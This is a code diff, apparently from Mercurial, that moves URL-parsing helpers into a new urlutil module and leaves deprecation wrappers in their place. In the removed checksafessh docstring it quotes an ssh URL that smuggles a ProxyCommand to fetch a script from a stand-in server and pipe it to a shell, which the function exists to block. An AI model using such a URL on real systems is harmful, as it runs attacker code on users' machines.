78 | user, passwd = auth.get(b'username'), auth.get(b'password') | |
76 | self.ui.debug(b"using auth.%s.* for authentication\n" % group) |
|
79 | self.ui.debug(b"using auth.%s.* for authentication\n" % group) | |
77 | if not user or not passwd: |
|
80 | if not user or not passwd: | |
78 | u = util.url(pycompat.bytesurl(authuri)) |
|
81 | u = urlutil.url(pycompat.bytesurl(authuri)) | |
79 | u.query = None |
|
82 | u.query = None | |
80 | if not self.ui.interactive(): |
|
83 | if not self.ui.interactive(): | |
81 | raise error.Abort( |
|
84 | raise error.Abort( | |
82 | _(b'http authorization required for %s') |
|
85 | _(b'http authorization required for %s') | |
83 | % util.hidepassword(bytes(u)) |
|
86 | % urlutil.hidepassword(bytes(u)) | |
84 | ) |
|
87 | ) | |
85 |
|
88 | |||
86 | self.ui.write( |
|
89 | self.ui.write( | |
87 | _(b"http authorization required for %s\n") |
|
90 | _(b"http authorization required for %s\n") | |
88 | % util.hidepassword(bytes(u)) |
|
91 | % urlutil.hidepassword(bytes(u)) | |
89 | ) |
|
92 | ) | |
90 | self.ui.write(_(b"realm: %s\n") % pycompat.bytesurl(realm)) |
|
93 | self.ui.write(_(b"realm: %s\n") % pycompat.bytesurl(realm)) | |
91 | if user: |
|
94 | if user: | |
@@ -128,7 +131,7 b' class proxyhandler(urlreq.proxyhandler):' | |||||
128 | proxyurl.startswith(b'http:') or proxyurl.startswith(b'https:') |
|
131 | proxyurl.startswith(b'http:') or proxyurl.startswith(b'https:') | |
129 | ): |
|
132 | ): | |
130 | proxyurl = b'http://' + proxyurl + b'/' |
|
133 | proxyurl = b'http://' + proxyurl + b'/' | |
131 | proxy = util.url(proxyurl) |
|
134 | proxy = urlutil.url(proxyurl) | |
132 | if not proxy.user: |
|
135 | if not proxy.user: | |
133 | proxy.user = ui.config(b"http_proxy", b"user") |
|
136 | proxy.user = ui.config(b"http_proxy", b"user") | |
134 | proxy.passwd = ui.config(b"http_proxy", b"passwd") |
|
137 | proxy.passwd = ui.config(b"http_proxy", b"passwd") | |
@@ -155,7 +158,9 b' class proxyhandler(urlreq.proxyhandler):' | |||||
155 | # expects them to be. |
|
158 | # expects them to be. | |
156 | proxyurl = str(proxy) |
|
159 | proxyurl = str(proxy) | |
157 | proxies = {'http': proxyurl, 'https': proxyurl} |
|
160 | proxies = {'http': proxyurl, 'https': proxyurl} | |
158 | ui.debug(b'proxying through %s\n' % util.hidepassword(bytes(proxy))) |
|
161 | ui.debug( | |
|
162 | b'proxying through %s\n' % urlutil.hidepassword(bytes(proxy)) | |||
|
163 | ) | |||
159 | else: |
|
164 | else: | |
160 | proxies = {} |
|
165 | proxies = {} | |
161 |
|
166 | |||
@@ -219,7 +224,7 b' def _generic_start_transaction(handler, ' | |||||
219 | new_tunnel = False |
|
224 | new_tunnel = False | |
220 |
|
225 | |||
221 | if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy |
|
226 | if new_tunnel or tunnel_host == urllibcompat.getfullurl(req): # has proxy | |
222 | u = util.url(pycompat.bytesurl(tunnel_host)) |
|
227 | u = urlutil.url(pycompat.bytesurl(tunnel_host)) | |
223 | if new_tunnel or u.scheme == b'https': # only use CONNECT for HTTPS |
|
228 | if new_tunnel or u.scheme == b'https': # only use CONNECT for HTTPS | |
224 | h.realhostport = b':'.join([u.host, (u.port or b'443')]) |
|
229 | h.realhostport = b':'.join([u.host, (u.port or b'443')]) | |
225 | h.headers = req.headers.copy() |
|
230 | h.headers = req.headers.copy() | |
@@ -675,7 +680,7 b' def opener(' | |||||
675 |
|
680 | |||
676 |
|
681 | |||
677 | def open(ui, url_, data=None, sendaccept=True): |
|
682 | def open(ui, url_, data=None, sendaccept=True): | |
678 | u = util.url(url_) |
|
683 | u = urlutil.url(url_) | |
679 | if u.scheme: |
|
684 | if u.scheme: | |
680 | u.scheme = u.scheme.lower() |
|
685 | u.scheme = u.scheme.lower() | |
681 | url_, authinfo = u.authinfo() |
|
686 | url_, authinfo = u.authinfo() |
@@ -28,7 +28,6 b' import os' | |||||
28 | import platform as pyplatform |
|
28 | import platform as pyplatform | |
29 | import re as remod |
|
29 | import re as remod | |
30 | import shutil |
|
30 | import shutil | |
31 | import socket |
|
|||
32 | import stat |
|
31 | import stat | |
33 | import sys |
|
32 | import sys | |
34 | import time |
|
33 | import time | |
@@ -57,6 +56,7 b' from .utils import (' | |||||
57 | hashutil, |
|
56 | hashutil, | |
58 | procutil, |
|
57 | procutil, | |
59 | stringutil, |
|
58 | stringutil, | |
|
59 | urlutil, | |||
60 | ) |
|
60 | ) | |
61 |
|
61 | |||
62 | if pycompat.TYPE_CHECKING: |
|
62 | if pycompat.TYPE_CHECKING: | |
@@ -65,7 +65,6 b' if pycompat.TYPE_CHECKING:' | |||||
65 | List, |
|
65 | List, | |
66 | Optional, |
|
66 | Optional, | |
67 | Tuple, |
|
67 | Tuple, | |
68 | Union, |
|
|||
69 | ) |
|
68 | ) | |
70 |
|
69 | |||
71 |
|
70 | |||
@@ -2959,420 +2958,52 b' def interpolate(prefix, mapping, s, fn=N' | |||||
2959 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) |
|
2958 | return r.sub(lambda x: fn(mapping[x.group()[1:]]), s) | |
2960 |
|
2959 | |||
2961 |
|
2960 | |||
2962 |
def getport( |
|
2961 | def getport(*args, **kwargs): | |
2963 | # type: (Union[bytes, int]) -> int |
|
2962 | msg = b'getport(...) moved to mercurial.utils.urlutil' | |
2964 | """Return the port for a given network service. |
|
2963 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
2965 |
|
2964 | return urlutil.getport(*args, **kwargs) | ||
2966 | If port is an integer, it's returned as is. If it's a string, it's |
|
2965 | ||
2967 | looked up using socket.getservbyname(). If there's no matching |
|
2966 | ||
2968 | service, error.Abort is raised. |
|
2967 | def url(*args, **kwargs): | |
2969 | """ |
|
2968 | msg = b'url(...) moved to mercurial.utils.urlutil' | |
2970 | try: |
|
2969 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
2971 | return int(port) |
|
2970 | return urlutil.url(*args, **kwargs) | |
2972 | except ValueError: |
|
2971 | ||
2973 | pass |
|
2972 | ||
2974 |
|
2973 | def hasscheme(*args, **kwargs): | ||
2975 | try: |
|
2974 | msg = b'hasscheme(...) moved to mercurial.utils.urlutil' | |
2976 | return socket.getservbyname(pycompat.sysstr(port)) |
|
2975 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
2977 | except socket.error: |
|
2976 | return urlutil.hasscheme(*args, **kwargs) | |
2978 | raise error.Abort( |
|
2977 | ||
2979 | _(b"no port number associated with service '%s'") % port |
|
2978 | ||
2980 | ) |
|
2979 | def hasdriveletter(*args, **kwargs): | |
2981 |
|
2980 | msg = b'hasdriveletter(...) moved to mercurial.utils.urlutil' | ||
2982 |
|
2981 | nouideprecwarn(msg, b'6.0', stacklevel=2) | ||
2983 | class url(object): |
|
2982 | return urlutil.hasdriveletter(*args, **kwargs) | |
2984 | r"""Reliable URL parser. |
|
2983 | ||
2985 |
|
2984 | |||
2986 | This parses URLs and provides attributes for the following |
|
2985 | def urllocalpath(*args, **kwargs): | |
2987 | components: |
|
2986 | msg = b'urllocalpath(...) moved to mercurial.utils.urlutil' | |
2988 |
|
2987 | nouideprecwarn(msg, b'6.0', stacklevel=2) | ||
2989 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
2988 | return urlutil.urllocalpath(*args, **kwargs) | |
2990 |
|
2989 | |||
2991 | Missing components are set to None. The only exception is |
|
2990 | ||
2992 | fragment, which is set to '' if present but empty. |
|
2991 | def checksafessh(*args, **kwargs): | |
2993 |
|
2992 | msg = b'checksafessh(...) moved to mercurial.utils.urlutil' | ||
2994 | If parsefragment is False, fragment is included in query. If |
|
2993 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
2995 | parsequery is False, query is included in path. If both are |
|
2994 | return urlutil.checksafessh(*args, **kwargs) | |
2996 | False, both fragment and query are included in path. |
|
2995 | ||
2997 |
|
2996 | |||
2998 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
2997 | def hidepassword(*args, **kwargs): | |
2999 |
|
2998 | msg = b'hidepassword(...) moved to mercurial.utils.urlutil' | ||
3000 | Note that for backward compatibility reasons, bundle URLs do not |
|
2999 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
3001 | take host names. That means 'bundle://../' has a path of '../'. |
|
3000 | return urlutil.hidepassword(*args, **kwargs) | |
3002 |
|
3001 | |||
3003 | Examples: |
|
3002 | ||
3004 |
|
3003 | def removeauth(*args, **kwargs): | ||
3005 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
|
3004 | msg = b'removeauth(...) moved to mercurial.utils.urlutil' | |
3006 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
3005 | nouideprecwarn(msg, b'6.0', stacklevel=2) | |
3007 | >>> url(b'ssh://[::1]:2200//home/joe/repo') |
|
3006 | return urlutil.removeauth(*args, **kwargs) | |
3008 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
|||
3009 | >>> url(b'file:///home/joe/repo') |
|
|||
3010 | <url scheme: 'file', path: '/home/joe/repo'> |
|
|||
3011 | >>> url(b'file:///c:/temp/foo/') |
|
|||
3012 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
|||
3013 | >>> url(b'bundle:foo') |
|
|||
3014 | <url scheme: 'bundle', path: 'foo'> |
|
|||
3015 | >>> url(b'bundle://../foo') |
|
|||
3016 | <url scheme: 'bundle', path: '../foo'> |
|
|||
3017 | >>> url(br'c:\foo\bar') |
|
|||
3018 | <url path: 'c:\\foo\\bar'> |
|
|||
3019 | >>> url(br'\\blah\blah\blah') |
|
|||
3020 | <url path: '\\\\blah\\blah\\blah'> |
|
|||
3021 | >>> url(br'\\blah\blah\blah#baz') |
|
|||
3022 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
|||
3023 | >>> url(br'file:///C:\users\me') |
|
|||
3024 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
|||
3025 |
|
||||
3026 | Authentication credentials: |
|
|||
3027 |
|
||||
3028 | >>> url(b'ssh://joe:xyz@x/repo') |
|
|||
3029 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
|||
3030 | >>> url(b'ssh://joe@x/repo') |
|
|||
3031 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
|||
3032 |
|
||||
3033 | Query strings and fragments: |
|
|||
3034 |
|
||||
3035 | >>> url(b'http://host/a?b#c') |
|
|||
3036 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
|||
3037 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
|
|||
3038 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
|||
3039 |
|
||||
3040 | Empty path: |
|
|||
3041 |
|
||||
3042 | >>> url(b'') |
|
|||
3043 | <url path: ''> |
|
|||
3044 | >>> url(b'#a') |
|
|||
3045 | <url path: '', fragment: 'a'> |
|
|||
3046 | >>> url(b'http://host/') |
|
|||
3047 | <url scheme: 'http', host: 'host', path: ''> |
|
|||
3048 | >>> url(b'http://host/#a') |
|
|||
3049 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
|||
3050 |
|
||||
3051 | Only scheme: |
|
|||
3052 |
|
||||
3053 | >>> url(b'http:') |
|
|||
3054 | <url scheme: 'http'> |
|
|||
3055 | """ |
|
|||
3056 |
|
||||
3057 | _safechars = b"!~*'()+" |
|
|||
3058 | _safepchars = b"/!~*'()+:\\" |
|
|||
3059 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
|
|||
3060 |
|
||||
3061 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
|||
3062 | # type: (bytes, bool, bool) -> None |
|
|||
3063 | # We slowly chomp away at path until we have only the path left |
|
|||
3064 | self.scheme = self.user = self.passwd = self.host = None |
|
|||
3065 | self.port = self.path = self.query = self.fragment = None |
|
|||
3066 | self._localpath = True |
|
|||
3067 | self._hostport = b'' |
|
|||
3068 | self._origpath = path |
|
|||
3069 |
|
||||
3070 | if parsefragment and b'#' in path: |
|
|||
3071 | path, self.fragment = path.split(b'#', 1) |
|
|||
3072 |
|
||||
3073 | # special case for Windows drive letters and UNC paths |
|
|||
3074 | if hasdriveletter(path) or path.startswith(b'\\\\'): |
|
|||
3075 | self.path = path |
|
|||
3076 | return |
|
|||
3077 |
|
||||
3078 | # For compatibility reasons, we can't handle bundle paths as |
|
|||
3079 | # normal URLS |
|
|||
3080 | if path.startswith(b'bundle:'): |
|
|||
3081 | self.scheme = b'bundle' |
|
|||
3082 | path = path[7:] |
|
|||
3083 | if path.startswith(b'//'): |
|
|||
3084 | path = path[2:] |
|
|||
3085 | self.path = path |
|
|||
3086 | return |
|
|||
3087 |
|
||||
3088 | if self._matchscheme(path): |
|
|||
3089 | parts = path.split(b':', 1) |
|
|||
3090 | if parts[0]: |
|
|||
3091 | self.scheme, path = parts |
|
|||
3092 | self._localpath = False |
|
|||
3093 |
|
||||
3094 | if not path: |
|
|||
3095 | path = None |
|
|||
3096 | if self._localpath: |
|
|||
3097 | self.path = b'' |
|
|||
3098 | return |
|
|||
3099 | else: |
|
|||
3100 | if self._localpath: |
|
|||
3101 | self.path = path |
|
|||
3102 | return |
|
|||
3103 |
|
||||
3104 | if parsequery and b'?' in path: |
|
|||
3105 | path, self.query = path.split(b'?', 1) |
|
|||
3106 | if not path: |
|
|||
3107 | path = None |
|
|||
3108 | if not self.query: |
|
|||
3109 | self.query = None |
|
|||
3110 |
|
||||
3111 | # // is required to specify a host/authority |
|
|||
3112 | if path and path.startswith(b'//'): |
|
|||
3113 | parts = path[2:].split(b'/', 1) |
|
|||
3114 | if len(parts) > 1: |
|
|||
3115 | self.host, path = parts |
|
|||
3116 | else: |
|
|||
3117 | self.host = parts[0] |
|
|||
3118 | path = None |
|
|||
3119 | if not self.host: |
|
|||
3120 | self.host = None |
|
|||
3121 | # path of file:///d is /d |
|
|||
3122 | # path of file:///d:/ is d:/, not /d:/ |
|
|||
3123 | if path and not hasdriveletter(path): |
|
|||
3124 | path = b'/' + path |
|
|||
3125 |
|
||||
3126 | if self.host and b'@' in self.host: |
|
|||
3127 | self.user, self.host = self.host.rsplit(b'@', 1) |
|
|||
3128 | if b':' in self.user: |
|
|||
3129 | self.user, self.passwd = self.user.split(b':', 1) |
|
|||
3130 | if not self.host: |
|
|||
3131 | self.host = None |
|
|||
3132 |
|
||||
3133 | # Don't split on colons in IPv6 addresses without ports |
|
|||
3134 | if ( |
|
|||
3135 | self.host |
|
|||
3136 | and b':' in self.host |
|
|||
3137 | and not ( |
|
|||
3138 | self.host.startswith(b'[') and self.host.endswith(b']') |
|
|||
3139 | ) |
|
|||
3140 | ): |
|
|||
3141 | self._hostport = self.host |
|
|||
3142 | self.host, self.port = self.host.rsplit(b':', 1) |
|
|||
3143 | if not self.host: |
|
|||
3144 | self.host = None |
|
|||
3145 |
|
||||
3146 | if ( |
|
|||
3147 | self.host |
|
|||
3148 | and self.scheme == b'file' |
|
|||
3149 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
|
|||
3150 | ): |
|
|||
3151 | raise error.Abort( |
|
|||
3152 | _(b'file:// URLs can only refer to localhost') |
|
|||
3153 | ) |
|
|||
3154 |
|
||||
3155 | self.path = path |
|
|||
3156 |
|
||||
3157 | # leave the query string escaped |
|
|||
3158 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): |
|
|||
3159 | v = getattr(self, a) |
|
|||
3160 | if v is not None: |
|
|||
3161 | setattr(self, a, urlreq.unquote(v)) |
|
|||
3162 |
|
||||
3163 | def copy(self): |
|
|||
3164 | u = url(b'temporary useless value') |
|
|||
3165 | u.path = self.path |
|
|||
3166 | u.scheme = self.scheme |
|
|||
3167 | u.user = self.user |
|
|||
3168 | u.passwd = self.passwd |
|
|||
3169 | u.host = self.host |
|
|||
3170 | u.path = self.path |
|
|||
3171 | u.query = self.query |
|
|||
3172 | u.fragment = self.fragment |
|
|||
3173 | u._localpath = self._localpath |
|
|||
3174 | u._hostport = self._hostport |
|
|||
3175 | u._origpath = self._origpath |
|
|||
3176 | return u |
|
|||
3177 |
|
||||
3178 | @encoding.strmethod |
|
|||
3179 | def __repr__(self): |
|
|||
3180 | attrs = [] |
|
|||
3181 | for a in ( |
|
|||
3182 | b'scheme', |
|
|||
3183 | b'user', |
|
|||
3184 | b'passwd', |
|
|||
3185 | b'host', |
|
|||
3186 | b'port', |
|
|||
3187 | b'path', |
|
|||
3188 | b'query', |
|
|||
3189 | b'fragment', |
|
|||
3190 | ): |
|
|||
3191 | v = getattr(self, a) |
|
|||
3192 | if v is not None: |
|
|||
3193 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) |
|
|||
3194 | return b'<url %s>' % b', '.join(attrs) |
|
|||
3195 |
|
||||
3196 | def __bytes__(self): |
|
|||
3197 | r"""Join the URL's components back into a URL string. |
|
|||
3198 |
|
||||
3199 | Examples: |
|
|||
3200 |
|
||||
3201 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
|||
3202 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
|||
3203 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
|
|||
3204 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
|||
3205 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
|
|||
3206 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
|||
3207 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
|
|||
3208 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
|||
3209 | >>> bytes(url(b'http://localhost:80//')) |
|
|||
3210 | 'http://localhost:80//' |
|
|||
3211 | >>> bytes(url(b'http://localhost:80/')) |
|
|||
3212 | 'http://localhost:80/' |
|
|||
3213 | >>> bytes(url(b'http://localhost:80')) |
|
|||
3214 | 'http://localhost:80/' |
|
|||
3215 | >>> bytes(url(b'bundle:foo')) |
|
|||
3216 | 'bundle:foo' |
|
|||
3217 | >>> bytes(url(b'bundle://../foo')) |
|
|||
3218 | 'bundle:../foo' |
|
|||
3219 | >>> bytes(url(b'path')) |
|
|||
3220 | 'path' |
|
|||
3221 | >>> bytes(url(b'file:///tmp/foo/bar')) |
|
|||
3222 | 'file:///tmp/foo/bar' |
|
|||
3223 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
|
|||
3224 | 'file:///c:/tmp/foo/bar' |
|
|||
3225 | >>> print(url(br'bundle:foo\bar')) |
|
|||
3226 | bundle:foo\bar |
|
|||
3227 | >>> print(url(br'file:///D:\data\hg')) |
|
|||
3228 | file:///D:\data\hg |
|
|||
3229 | """ |
|
|||
3230 | if self._localpath: |
|
|||
3231 | s = self.path |
|
|||
3232 | if self.scheme == b'bundle': |
|
|||
3233 | s = b'bundle:' + s |
|
|||
3234 | if self.fragment: |
|
|||
3235 | s += b'#' + self.fragment |
|
|||
3236 | return s |
|
|||
3237 |
|
||||
3238 | s = self.scheme + b':' |
|
|||
3239 | if self.user or self.passwd or self.host: |
|
|||
3240 | s += b'//' |
|
|||
3241 | elif self.scheme and ( |
|
|||
3242 | not self.path |
|
|||
3243 | or self.path.startswith(b'/') |
|
|||
3244 | or hasdriveletter(self.path) |
|
|||
3245 | ): |
|
|||
3246 | s += b'//' |
|
|||
3247 | if hasdriveletter(self.path): |
|
|||
3248 | s += b'/' |
|
|||
3249 | if self.user: |
|
|||
3250 | s += urlreq.quote(self.user, safe=self._safechars) |
|
|||
3251 | if self.passwd: |
|
|||
3252 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
|||
3253 | if self.user or self.passwd: |
|
|||
3254 | s += b'@' |
|
|||
3255 | if self.host: |
|
|||
3256 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
|
|||
3257 | s += urlreq.quote(self.host) |
|
|||
3258 | else: |
|
|||
3259 | s += self.host |
|
|||
3260 | if self.port: |
|
|||
3261 | s += b':' + urlreq.quote(self.port) |
|
|||
3262 | if self.host: |
|
|||
3263 | s += b'/' |
|
|||
3264 | if self.path: |
|
|||
3265 | # TODO: similar to the query string, we should not unescape the |
|
|||
3266 | # path when we store it, the path might contain '%2f' = '/', |
|
|||
3267 | # which we should *not* escape. |
|
|||
3268 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
|||
3269 | if self.query: |
|
|||
3270 | # we store the query in escaped form. |
|
|||
3271 | s += b'?' + self.query |
|
|||
3272 | if self.fragment is not None: |
|
|||
3273 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
|||
3274 | return s |
|
|||
3275 |
|
||||
3276 | __str__ = encoding.strmethod(__bytes__) |
|
|||
3277 |
|
||||
3278 | def authinfo(self): |
|
|||
3279 | user, passwd = self.user, self.passwd |
|
|||
3280 | try: |
|
|||
3281 | self.user, self.passwd = None, None |
|
|||
3282 | s = bytes(self) |
|
|||
3283 | finally: |
|
|||
3284 | self.user, self.passwd = user, passwd |
|
|||
3285 | if not self.user: |
|
|||
3286 | return (s, None) |
|
|||
3287 | # authinfo[1] is passed to urllib2 password manager, and its |
|
|||
3288 | # URIs must not contain credentials. The host is passed in the |
|
|||
3289 | # URIs list because Python < 2.4.3 uses only that to search for |
|
|||
3290 | # a password. |
|
|||
3291 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
|
|||
3292 |
|
||||
3293 | def isabs(self): |
|
|||
3294 | if self.scheme and self.scheme != b'file': |
|
|||
3295 | return True # remote URL |
|
|||
3296 | if hasdriveletter(self.path): |
|
|||
3297 | return True # absolute for our purposes - can't be joined() |
|
|||
3298 | if self.path.startswith(br'\\'): |
|
|||
3299 | return True # Windows UNC path |
|
|||
3300 | if self.path.startswith(b'/'): |
|
|||
3301 | return True # POSIX-style |
|
|||
3302 | return False |
|
|||
3303 |
|
||||
3304 | def localpath(self): |
|
|||
3305 | # type: () -> bytes |
|
|||
3306 | if self.scheme == b'file' or self.scheme == b'bundle': |
|
|||
3307 | path = self.path or b'/' |
|
|||
3308 | # For Windows, we need to promote hosts containing drive |
|
|||
3309 | # letters to paths with drive letters. |
|
|||
3310 | if hasdriveletter(self._hostport): |
|
|||
3311 | path = self._hostport + b'/' + self.path |
|
|||
3312 | elif ( |
|
|||
3313 | self.host is not None and self.path and not hasdriveletter(path) |
|
|||
3314 | ): |
|
|||
3315 | path = b'/' + path |
|
|||
3316 | return path |
|
|||
3317 | return self._origpath |
|
|||
3318 |
|
||||
3319 | def islocal(self): |
|
|||
3320 | '''whether localpath will return something that posixfile can open''' |
|
|||
3321 | return ( |
|
|||
3322 | not self.scheme |
|
|||
3323 | or self.scheme == b'file' |
|
|||
3324 | or self.scheme == b'bundle' |
|
|||
3325 | ) |
|
|||
3326 |
|
||||
3327 |
|
||||
3328 | def hasscheme(path): |
|
|||
3329 | # type: (bytes) -> bool |
|
|||
3330 | return bool(url(path).scheme) # cast to help pytype |
|
|||
3331 |
|
||||
3332 |
|
||||
3333 | def hasdriveletter(path): |
|
|||
3334 | # type: (bytes) -> bool |
|
|||
3335 | return bool(path) and path[1:2] == b':' and path[0:1].isalpha() |
|
|||
3336 |
|
||||
3337 |
|
||||
3338 | def urllocalpath(path): |
|
|||
3339 | # type: (bytes) -> bytes |
|
|||
3340 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
|||
3341 |
|
||||
3342 |
|
||||
3343 | def checksafessh(path): |
|
|||
3344 | # type: (bytes) -> None |
|
|||
3345 | """check if a path / url is a potentially unsafe ssh exploit (SEC) |
|
|||
3346 |
|
||||
3347 | This is a sanity check for ssh urls. ssh will parse the first item as |
|
|||
3348 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
|
|||
3349 | Let's prevent these potentially exploited urls entirely and warn the |
|
|||
3350 | user. |
|
|||
3351 |
|
||||
3352 | Raises an error.Abort when the url is unsafe. |
|
|||
3353 | """ |
|
|||
3354 | path = urlreq.unquote(path) |
|
|||
3355 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
|
|||
3356 | raise error.Abort( |
|
|||
3357 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
|
|||
3358 | ) |
|
|||
3359 |
|
||||
3360 |
|
||||
3361 | def hidepassword(u): |
|
|||
3362 | # type: (bytes) -> bytes |
|
|||
3363 | '''hide user credential in a url string''' |
|
|||
3364 | u = url(u) |
|
|||
3365 | if u.passwd: |
|
|||
3366 | u.passwd = b'***' |
|
|||
3367 | return bytes(u) |
|
|||
3368 |
|
||||
3369 |
|
||||
3370 | def removeauth(u): |
|
|||
3371 | # type: (bytes) -> bytes |
|
|||
3372 | '''remove all authentication information from a url string''' |
|
|||
3373 | u = url(u) |
|
|||
3374 | u.user = u.passwd = None |
|
|||
3375 | return bytes(u) |
|
|||
3376 |
|
3007 | |||
3377 |
|
3008 | |||
3378 | timecount = unitcountfn( |
|
3009 | timecount = unitcountfn( |
@@ -5,6 +5,8 b'' | |||||
5 | # This software may be used and distributed according to the terms of the |
|
5 | # This software may be used and distributed according to the terms of the | |
6 | # GNU General Public License version 2 or any later version. |
|
6 | # GNU General Public License version 2 or any later version. | |
7 | import os |
|
7 | import os | |
|
8 | import re as remod | |||
|
9 | import socket | |||
8 |
|
10 | |||
9 | from ..i18n import _ |
|
11 | from ..i18n import _ | |
10 | from ..pycompat import ( |
|
12 | from ..pycompat import ( | |
@@ -12,12 +14,437 b' from ..pycompat import (' | |||||
12 | setattr, |
|
14 | setattr, | |
13 | ) |
|
15 | ) | |
14 | from .. import ( |
|
16 | from .. import ( | |
|
17 | encoding, | |||
15 | error, |
|
18 | error, | |
16 | pycompat, |
|
19 | pycompat, | |
17 | util, |
|
20 | urllibcompat, | |
18 | ) |
|
21 | ) | |
19 |
|
22 | |||
20 |
|
23 | |||
|
24 | if pycompat.TYPE_CHECKING: | |||
|
25 | from typing import ( | |||
|
26 | Union, | |||
|
27 | ) | |||
|
28 | ||||
|
29 | urlreq = urllibcompat.urlreq | |||
|
30 | ||||
|
31 | ||||
|
32 | def getport(port): | |||
|
33 | # type: (Union[bytes, int]) -> int | |||
|
34 | """Return the port for a given network service. | |||
|
35 | ||||
|
36 | If port is an integer, it's returned as is. If it's a string, it's | |||
|
37 | looked up using socket.getservbyname(). If there's no matching | |||
|
38 | service, error.Abort is raised. | |||
|
39 | """ | |||
|
40 | try: | |||
|
41 | return int(port) | |||
|
42 | except ValueError: | |||
|
43 | pass | |||
|
44 | ||||
|
45 | try: | |||
|
46 | return socket.getservbyname(pycompat.sysstr(port)) | |||
|
47 | except socket.error: | |||
|
48 | raise error.Abort( | |||
|
49 | _(b"no port number associated with service '%s'") % port | |||
|
50 | ) | |||
|
51 | ||||
|
52 | ||||
|
53 | class url(object): | |||
|
54 | r"""Reliable URL parser. | |||
|
55 | ||||
|
56 | This parses URLs and provides attributes for the following | |||
|
57 | components: | |||
|
58 | ||||
|
59 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> | |||
|
60 | ||||
|
61 | Missing components are set to None. The only exception is | |||
|
62 | fragment, which is set to '' if present but empty. | |||
|
63 | ||||
|
64 | If parsefragment is False, fragment is included in query. If | |||
|
65 | parsequery is False, query is included in path. If both are | |||
|
66 | False, both fragment and query are included in path. | |||
|
67 | ||||
|
68 | See http://www.ietf.org/rfc/rfc2396.txt for more information. | |||
|
69 | ||||
|
70 | Note that for backward compatibility reasons, bundle URLs do not | |||
|
71 | take host names. That means 'bundle://../' has a path of '../'. | |||
|
72 | ||||
|
73 | Examples: | |||
|
74 | ||||
|
75 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') | |||
|
76 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> | |||
|
77 | >>> url(b'ssh://[::1]:2200//home/joe/repo') | |||
|
78 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> | |||
|
79 | >>> url(b'file:///home/joe/repo') | |||
|
80 | <url scheme: 'file', path: '/home/joe/repo'> | |||
|
81 | >>> url(b'file:///c:/temp/foo/') | |||
|
82 | <url scheme: 'file', path: 'c:/temp/foo/'> | |||
|
83 | >>> url(b'bundle:foo') | |||
|
84 | <url scheme: 'bundle', path: 'foo'> | |||
|
85 | >>> url(b'bundle://../foo') | |||
|
86 | <url scheme: 'bundle', path: '../foo'> | |||
|
87 | >>> url(br'c:\foo\bar') | |||
|
88 | <url path: 'c:\\foo\\bar'> | |||
|
89 | >>> url(br'\\blah\blah\blah') | |||
|
90 | <url path: '\\\\blah\\blah\\blah'> | |||
|
91 | >>> url(br'\\blah\blah\blah#baz') | |||
|
92 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> | |||
|
93 | >>> url(br'file:///C:\users\me') | |||
|
94 | <url scheme: 'file', path: 'C:\\users\\me'> | |||
|
95 | ||||
|
96 | Authentication credentials: | |||
|
97 | ||||
|
98 | >>> url(b'ssh://joe:xyz@x/repo') | |||
|
99 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> | |||
|
100 | >>> url(b'ssh://joe@x/repo') | |||
|
101 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> | |||
|
102 | ||||
|
103 | Query strings and fragments: | |||
|
104 | ||||
|
105 | >>> url(b'http://host/a?b#c') | |||
|
106 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> | |||
|
